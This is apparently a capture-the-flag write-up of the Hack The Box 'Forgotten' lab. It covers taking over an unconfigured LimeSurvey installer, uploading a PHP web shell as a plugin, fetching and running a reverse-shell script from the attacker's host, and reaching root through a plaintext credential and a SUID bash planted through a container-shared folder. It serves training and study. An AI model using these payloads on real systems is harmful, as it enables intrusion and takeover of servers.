Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ nmap -sC -sV -Pn 10.129.234.81 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:29 UTC
Nmap scan report for 10.129.234.81
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_ 256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds
Page check
The index page give us 403 code, so we have to enumerate the valid web contents here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ ffuf -u http://10.129.234.81/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.81/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 276ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 369ms]
survey [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 312ms]
:: Progress: [4614/4614] :: Job [1/1] :: 144 req/sec :: Duration: [0:00:39] :: Errors: 0 ::
We can clearly found /survey
would be our target here.
When we try to visit /survey
, we would redirect to download page
Continue the process of installing, we can find the version of limesurvey
It is
LimeSurvey 6.3.7
Actually I did not find the valid CVEs for this version, so let's continue to step 4 to config the database
I don't know is there a database running in the target machine, so I guess I need to use docker to make sure there is a valid database location.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ docker run --name limesurvey-mysql -e MYSQL_ROOT_PASSWORD=rootpass123 -e MYSQL_DATABASE=limesurvey -e MYSQL_USER=limeuser -e MYSQL_PASSWORD=limepassword -p 3306:3306 -d mysql:latest
Unable to find image 'mysql:latest' locally
latest: Pulling from library/mysql
b5e369658cc0: Pull complete
254b59ee484a: Pull complete
3c2bfb0b6078: Pull complete
875f1cba1a38: Pull complete
22a8e223d007: Pull complete
5fef58f27908: Pull complete
60f9608fedba: Pull complete
d83cb0013480: Pull complete
6f28acb97b5e: Pull complete
690842f663f0: Pull complete
Digest: sha256:94254b456a6db9b56c83525a86bff4c7f1e52335f934cbed686fe1ce763116a0
Status: Downloaded newer image for mysql:latest
1f42de681fb9986b31b37e07113562ad175aae7aea56f918357f3d227729004f
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ sudo netstat -tnlp | grep 3306
[sudo] password for wither:
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 11286/docker-proxy
tcp6 0 0 :::3306 :::* LISTEN 11292/docker-proxy
Then finish these spaces
We can get config successfully and press
Populate database
, lead to administrator settings
Then change the password of admin
Then we can use the new credit to access to portal of administrator
Admin RCE
Come to Configuration -> Plugins
We can try to upload and install a malicious plugin to upload a web shell.
First creating a PHP web shell wither.php
:
<?php system($_REQUEST['cmd']); ?>
Then from https://gitlab.com/SondagesPro/SampleAndDemo/ExampleSettings/-/blob/master/config.xml?ref_type=heads
to get the example config file and save it as config.xml
.
Finally, zip those files and upload it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ zip wither.zip wither.php config.xml
adding: wither.php (stored 0%)
adding: config.xml (deflated 53%)
We need to press
install
button, then we can try to exploit this web shell
It would be called ExampleSettings
, the path would be /survey/upload/plugins/ExampleSettings/wither.php
To get a reverse shell, we need to modify our payload here.
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=curl%20http://10.10.14.19/shell.sh%20-o%20/tmp/shell.sh
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=chmod%20+x%20/tmp/shell.sh
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=bash%20/tmp/shell.sh
We can successfully get the reverse shell as limesvc
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.234.81] 33698
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
limesvc@efaa6f5097ed:/var/www/html/survey/upload/plugins/ExampleSettings$ id
id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
To get a stable shell, we can upgrade the shell
upgrade to PTY
script /dev/null -c bash
^Z
stty raw -echo; fg
Escape from docker env
After enumerating the file system of limesvc
, there is nothing
limesvc@efaa6f5097ed:/$ ls -al /home/limesvc/
total 28
drwxr-xr-x 1 limesvc limesvc 4096 Sep 22 13:51 .
drwxr-xr-x 1 root root 4096 Dec 2 2023 ..
-rw------- 1 limesvc limesvc 61 Sep 22 13:51 .bash_history
-rw-r--r-- 1 limesvc limesvc 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 limesvc limesvc 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 limesvc limesvc 807 Mar 27 2022 .profile
Also, by checking the network config
limesvc@efaa6f5097ed:/$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 47222 bytes 5837070 (5.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 30602 bytes 15113088 (14.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1234 bytes 98364 (96.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1234 bytes 98364 (96.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
It is clear that we are in the docker environment, and we can find the .dockerenv
from root directory
limesvc@efaa6f5097ed:/$ ls -al
total 304
drwxr-xr-x 1 root root 4096 Dec 2 2023 .
drwxr-xr-x 1 root root 4096 Dec 2 2023 ..
-rwxr-xr-x 1 root root 0 Dec 2 2023 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 2 2023 bin
drwxr-xr-x 2 root root 4096 Sep 29 2023 boot
drwxr-xr-x 5 root root 340 Sep 22 08:04 dev
drwxr-xr-x 1 root root 4096 Dec 2 2023 etc
drwxr-xr-x 1 root root 4096 Dec 2 2023 home
drwxr-xr-x 1 root root 4096 Nov 21 2023 lib
drwxr-xr-x 2 root root 4096 Nov 20 2023 lib64
drwxr-xr-x 2 root root 4096 Nov 20 2023 media
drwxr-xr-x 2 root root 4096 Nov 20 2023 mnt
drwxr-xr-x 2 root root 4096 Nov 20 2023 opt
dr-xr-xr-x 282 root root 0 Sep 22 08:04 proc
drwx------ 1 root root 4096 Dec 2 2023 root
drwxr-xr-x 1 root root 4096 Nov 21 2023 run
drwxr-xr-x 1 root root 4096 Dec 2 2023 sbin
drwxr-xr-x 2 root root 4096 Nov 20 2023 srv
dr-xr-xr-x 13 root root 0 Sep 22 08:04 sys
drwxrwxrwt 1 root root 225280 Sep 22 13:49 tmp
drwxr-xr-x 1 root root 4096 Nov 20 2023 usr
drwxr-xr-x 1 root root 4096 Nov 21 2023 var
Continue to check the environment variables
limesvc@efaa6f5097ed:/var/www/html/survey$ env
HOSTNAME=efaa6f5097ed
PHP_VERSION=8.0.30
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 BFDDD28642824F8118EF77909B67A5C12229118F 2C16C765DBE54A088130F1BC4B9B5F600B55F3B4 39B641343D8C104B2B146DC3F9C39DC0B9698544
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/var/www/html/survey
APACHE_LOG_DIR=/var/log/apache2
LANG=C
LS_COLORS=
PHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PHP_URL=https://www.php.net/distributions/php-8.0.30.tar.xz
LIMESURVEY_ADMIN=limesvc
APACHE_RUN_GROUP=limesvc
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
APACHE_RUN_DIR=/var/run/apache2
APACHE_ENVVARS=/etc/apache2/envvars
APACHE_RUN_USER=limesvc
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_ASC_URL=https://www.php.net/distributions/php-8.0.30.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/bin/env
OLDPWD=/var/www/html
We can find a password LIMESURVEY_PASS=5W5HN4K4GCXf9E
and it worked for sudo -l
limesvc@efaa6f5097ed:/var/www/html/survey$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for limesvc:
Matching Defaults entries for limesvc on efaa6f5097ed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
Then we can directly use sudo root
to switch to root account
Also we can use this credit to ssh connect to target machine
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ ssh limesvc@10.129.234.81
limesvc@forgotten:~$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
limesvc@forgotten:~$ whoami
limesvc
Privilege escalation
I would continue to check sudo -l
firstly
limesvc@forgotten:~$ sudo -l
[sudo] password for limesvc:
Sorry, user limesvc may not run sudo on localhost.
The /opt
directory has containerd
(typically associated with Docker) and a limesurvey
directory:
limesvc@forgotten:~$ ls /opt
containerd limesurvey limesurvey6.3.7+231127.zip
There is a very interesting thing here, when we write something in the docker container, we can find it changed in the target machine
limesvc@forgotten:/opt/limesurvey$ ls
LICENSE SECURITY.md application docs index.php locale node_modules plugins psalm-strict.xml setdebug.php tmp vendor
README.md admin assets gulpfile.js installer modules open-api-gen.php psalm-all.xml psalm.xml themes upload
root@efaa6f5097ed:/var/www/html/survey# echo "hellp" > hello.txt
echo "hellp" > hello.txt
limesvc@forgotten:/opt/limesurvey$ ls
LICENSE SECURITY.md application docs hello.txt installer modules open-api-gen.php psalm-all.xml psalm.xml themes upload
README.md admin assets gulpfile.js index.php locale node_modules plugins psalm-strict.xml setdebug.php tmp vendor
As root in the container, I can copy /bin/bash
in the shared web directory and SetUID
/ SetGID
it:
root@efaa6f5097ed:/var/www/html/survey# cp /bin/bash ./
cp /bin/bash ./
root@efaa6f5097ed:/var/www/html/survey# ls
ls
LICENSE assets index.php open-api-gen.php setdebug.php
README.md bash installer plugins themes
SECURITY.md docs locale psalm-all.xml tmp
admin gulpfile.js modules psalm-strict.xml upload
application hello.txt node_modules psalm.xml vendor
root@efaa6f5097ed:/var/www/html/survey# chmod 6777 bash
chmod 6777 bash
root@efaa6f5097ed:/var/www/html/survey# ls -l bash
ls -l bash
-rwsrwsrwx 1 root root 1234376 Sep 22 14:07 bash
Then let's come back to target machine
limesvc@forgotten:/opt/limesurvey$ ls -al
total 1380
drwxr-xr-x 15 limesvc limesvc 4096 Sep 22 14:07 .
drwxr-xr-x 4 root root 4096 Dec 2 2023 ..
-rw-rw-r-- 1 limesvc limesvc 1091 Nov 27 2023 .htaccess
-rw-rw-r-- 1 limesvc limesvc 49474 Nov 27 2023 LICENSE
-rw-rw-r-- 1 limesvc limesvc 2488 Nov 27 2023 README.md
-rw-rw-r-- 1 limesvc limesvc 536 Nov 27 2023 SECURITY.md
drwxr-xr-x 2 limesvc limesvc 4096 Nov 27 2023 admin
drwxr-xr-x 15 limesvc limesvc 4096 Nov 27 2023 application
drwxr-xr-x 10 limesvc limesvc 4096 Nov 27 2023 assets
-rwsrwsrwx 1 root root 1234376 Sep 22 14:07 bash
drwxr-xr-x 7 limesvc limesvc 4096 Nov 27 2023 docs
-rw-rw-r-- 1 limesvc limesvc 8154 Nov 27 2023 gulpfile.js
-rw-r--r-- 1 root root 6 Sep 22 14:05 hello.txt
-rw-rw-r-- 1 limesvc limesvc 5564 Nov 27 2023 index.php
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 installer
drwxr-xr-x 120 limesvc limesvc 4096 Nov 27 2023 locale
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 modules
drwxr-xr-x 23 limesvc limesvc 4096 Nov 27 2023 node_modules
-rwxrwxr-x 1 limesvc limesvc 9672 Nov 27 2023 open-api-gen.php
drwxr-xr-x 3 limesvc limesvc 4096 Nov 27 2023 plugins
-rw-rw-r-- 1 limesvc limesvc 2175 Nov 27 2023 psalm-all.xml
-rw-rw-r-- 1 limesvc limesvc 1090 Nov 27 2023 psalm-strict.xml
-rw-rw-r-- 1 limesvc limesvc 1074 Nov 27 2023 psalm.xml
-rw-rw-r-- 1 limesvc limesvc 1684 Nov 27 2023 setdebug.php
drwxr-xr-x 5 limesvc limesvc 4096 Nov 27 2023 themes
drwxr-xr-x 6 limesvc limesvc 4096 Sep 22 13:42 tmp
drwxr-xr-x 9 limesvc limesvc 4096 Nov 27 2023 upload
drwxr-xr-x 36 limesvc limesvc 4096 Nov 27 2023 vendor
Then we can just execute this bash to get the root shell
limesvc@forgotten:/opt/limesurvey$ /opt/limesurvey/bash -p
bash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
bash-5.1# whoami
root
Description
Very simple and typical LimeSurvey
exploit path and the root path is simple and easy to find out.